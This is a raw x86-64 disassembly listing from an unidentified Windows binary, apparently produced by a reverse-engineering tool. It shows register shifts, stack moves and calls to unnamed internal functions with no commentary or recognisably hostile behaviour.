mov qword [rbp + 0x8678], r13
shr r13, 0x20
mov rcx, r14
shr rcx, 0x18
mov qword [rbp + 0x8640], rcx
mov rsi, rdi
shr rsi, 0x18
mov rcx, rbx
shr rcx, 0x18
mov qword [rbp + 0x8650], rcx
mov r12d, eax
shr r12d, 0x18
movdqa xmmword [rbp + 0x85a0], xmm0
movdqa xmmword [rbp + 0x85b0], xmm1
jmp 0x140013fad
lea rcx, [rbp + 0x85a0]
call fcn.140038567
push 2
pop rax
mov qword [rbp + 0x84e8], rax
push 4
pop rax
mov qword [rbp + 0x8678], rax
mov qword [rbp + 0x8670], rax
mov qword [rbp + 0x8698], rax
mov qword [rbp + 0x86a0], rax
xor eax, eax
mov qword [rbp + 0x8690], rax
jmp 0x14000f892
xor ecx, ecx
jmp 0x140013fc2
push 8
pop rcx
mov rdx, rsi
call fcn.140056ac0
mov r12, rax
shl r12, 0x20
or r12, 0xc
mov rcx, qword [rbp + 0x82f0]
mov rdx, qword [rbp + 0x82f5]
mov qword [rbp + 0x8445], rdx
mov qword [rbp + 0x8440], rcx
mov ecx, dword [rbp + 0x8240]
mov edx, dword [rbp + 0x8243]
mov dword [rbp + 0x83d0], ecx
mov dword [rbp + 0x83d3], edx
xor ecx, ecx
mov qword [rbp + 0x8640], rcx
mov qword [rbp + 0x8680], rcx
xor ecx, ecx
mov qword [rbp + 0x8658], rcx
mov r13d, eax
or r13, qword [rbp + 0x8640]
mov rax, qword [rbp + 0x8440]
mov rcx, qword [rbp + 0x8445]
mov qword [rbp + 0x8220], rax
mov qword [rbp + 0x8225], rcx
mov eax, dword [rbp + 0x83d0]
mov ecx, dword [rbp + 0x83d3]
mov dword [rbp + 0x81c0], eax
mov dword [rbp + 0x81c3], ecx
mov rcx, qword [rbp + 0x83e0]
mov rdx, qword [rbp + 0x8648]
call fcn.14004c74f
cmp r12b, 9
jne 0x1400140e9
mov rdx, rdi
mov rcx, rdi
shr rcx, 0x28
mov rax, r12
shr rax, 8
mov qword [rbp + 0x8680], rax
mov qword [rbp + 0x4050], r13
mov dword [rbp + 0x4058], edx
shr rdx, 0x20
mov byte [rbp + 0x405c], dl
mov edx, dword [rbp + 0x8220]
mov eax, dword [rbp + 0x8224]
shl rax, 0x20
or rax, rdx
mov rbx, qword [rbp + 0x8225]
shr r12, 0x28
push 5
pop rdx
mov qword [rbp + 0x8658], rdx
mov rdx, qword [rbp + 0x4055]
mov qword [rbp + 0x86a0], rdx
mov rdi, rcx
mov esi, dword [rbp + 0x8688]
jmp 0x14001412f
mov rax, rdi
shr rax, 0x18
mov rbx, qword [rbp + 0x8220]
mov esi, dword [rbp + 0x8228]
mov cl, byte [rbp + 0x822c]
mov byte [rbp + 0x8650], cl
mov ecx, dword [rbp + 0x81c0]
mov edx, dword [rbp + 0x81c3]
mov dword [rbp + 0x85a0], ecx
mov dword [rbp + 0x85a3], edx
mov qword [rbp + 0x86a0], r13
mov r13, r12
shr r13, 0x18
shl rax, 0x18
and edi, 0xffffff
or rdi, rax
mov qword [rbp + 0x8678], rdi
mov eax, dword [rbp + 0x85a0]
mov ecx, dword [rbp + 0x85a3]
mov dword [rbp + 0x83db], ecx
mov dword [rbp + 0x83d8], eax
mov rcx, qword [rbp + 0x8138]
mov rdx, r14
call fcn.140037dd5
mov rcx, qword [rbp + 0x80c0]
mov rdx, r15
call fcn.140037dd5
mov eax, dword [rbp + 0x83d8]
mov ecx, dword [rbp + 0x83db]
mov dword [rbp + 0x827b], ecx
mov dword [rbp + 0x8278], eax
shl r13, 0x18
and r12d, 0xffffff
or r12, r13
mov qword [rbp + 0x8178], r12
lea r8, [rbp + 0x4050]
mov rax, qword [rbp + 0x8658]
mov dword [r8], eax
mov rax, qword [rbp + 0x8680]
mov dword [r8 + 4], eax
mov rax, qword [rbp + 0x8178]
mov qword [r8 + 8], rax
mov rax, qword [rbp + 0x86a0]
mov qword [r8 + 0x10], rax
mov rax, qword [rbp + 0x8678]
mov qword [r8 + 0x18], rax
mov qword [r8 + 0x20], rbx
mov dword [r8 + 0x28], esi
mov al, byte [rbp + 0x8650]
mov byte [r8 + 0x2c], al
mov eax, dword [rbp + 0x8688]
mov dword [r8 + 0x2d], eax
mov eax, dword [rbp + 0x8278]
mov ecx, dword [rbp + 0x827b]
mov dword [r8 + 0x31], eax
mov dword [r8 + 0x34], ecx
lea rax, [0x14005aa40]
jmp 0x14001283b